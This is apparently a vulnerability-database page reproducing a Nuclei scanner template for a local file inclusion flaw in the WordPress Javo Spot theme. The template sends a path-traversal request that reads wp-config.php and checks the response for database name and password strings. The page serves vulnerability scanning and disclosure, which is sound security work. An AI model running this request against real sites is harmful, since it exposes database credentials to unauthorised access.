wp-javospot-lfi: WordPress Javo Spot Premium Theme - Local File Inclusion

2025-08-01 WordPress Javo Spot Premium Theme PoC Public

Description

WordPress Javo Spot Premium Theme is vulnerable to local file inclusion that allows remote unauthenticated attackers access to locally stored file and return their content.

PoC

id: wp-javospot-lfi

info:
  name: WordPress Javo Spot Premium Theme - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Javo Spot Premium Theme is vulnerable to local file inclusion that allows remote unauthenticated attackers access to locally stored file and return their content.
  reference:
    - https://codeseekah.com/2017/02/09/javo-themes-spot-lfi-vulnerability/
    - https://wpscan.com/vulnerability/2d465fc4-d4fa-43bb-9c0d-71dcc3ee4eab
    - https://themeforest.net/item/javo-spot-multi-purpose-directory-wordpress-theme/13198068
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wordpress,wp-theme,lfi,wp,wpscan,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009018aa4a8533318f97b9c211db003abf8ab5ecc6e1129a86480b852752ebfae4022100c30ddb0412ed93fe1293c3f0d355f3b2326fe13007bdf29cd0c8f7ac1a3fbdb3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/wp-javospot-lfi.yaml

References

Related Vulnerabilities